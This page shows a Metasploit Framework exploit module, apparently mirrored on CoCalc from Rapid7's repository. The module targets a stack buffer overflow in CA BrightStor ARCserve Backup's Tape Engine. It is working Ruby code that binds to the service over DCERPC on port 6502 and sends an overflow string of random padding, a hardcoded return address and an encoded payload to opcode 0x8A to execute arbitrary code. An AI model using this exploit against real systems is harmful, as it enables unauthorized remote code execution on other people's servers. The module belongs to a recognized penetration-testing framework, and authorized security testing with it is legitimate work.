Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/brightstor/tape_engine_0x8a.rb
19592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
18
r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow
19
the buffer and execute arbitrary code.
20
},
21
'Author' => [ 'MC' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'OSVDB', '68330'],
25
[ 'URL', 'http://www.metasploit.com/users/mc' ],
26
],
27
'Privileged' => true,
28
'DefaultOptions' => {
29
'EXITFUNC' => 'thread',
30
},
31
'Payload' => {
32
'Space' => 500,
33
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
34
'StackAdjustment' => -3500,
35
},
36
'Platform' => 'win',
37
'Targets' => [
38
[ 'BrightStor ARCserve r11.5/Windows 2003', { 'Ret' => 0x28eb6493 } ],
39
],
40
'DisclosureDate' => '2010-10-04',
41
'DefaultTarget' => 0,
42
'Notes' => {
43
'Reliability' => UNKNOWN_RELIABILITY,
44
'Stability' => UNKNOWN_STABILITY,
45
'SideEffects' => UNKNOWN_SIDE_EFFECTS
46
}
47
)
48
)
49
50
register_options([ Opt::RPORT(6502) ])
51
end
52
53
def exploit
54
connect
55
56
handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
57
print_status("Binding to #{handle} ...")
58
59
dcerpc_bind(handle)
60
print_status("Bound to #{handle} ...")
61
62
request = "\x00\x04\x08\x0c\x05\x00\x00\x00\x00\x00"
63
request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
64
65
dcerpc.call(0x2B, request)
66
67
sploit = NDR.long(4)
68
sploit << NDR.string(rand_text_alpha_upper(1002) + [target.ret].pack('V') + payload.encoded + "\x00")
69
70
print_status("Trying target #{target.name}...")
71
72
begin
73
dcerpc_call(0x8A, sploit)
74
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
75
end
76
77
handler
78
disconnect
79
end
80
81
end
82
=begin
83
/* opcode: 0x8A, address: 0x100707D0 */
84
85
long sub_100707D0 (
86
[in] handle_t arg_1,
87
[in] long arg_2,
88
[in][ref][string] char * arg_3
89
);
90
=end
91
92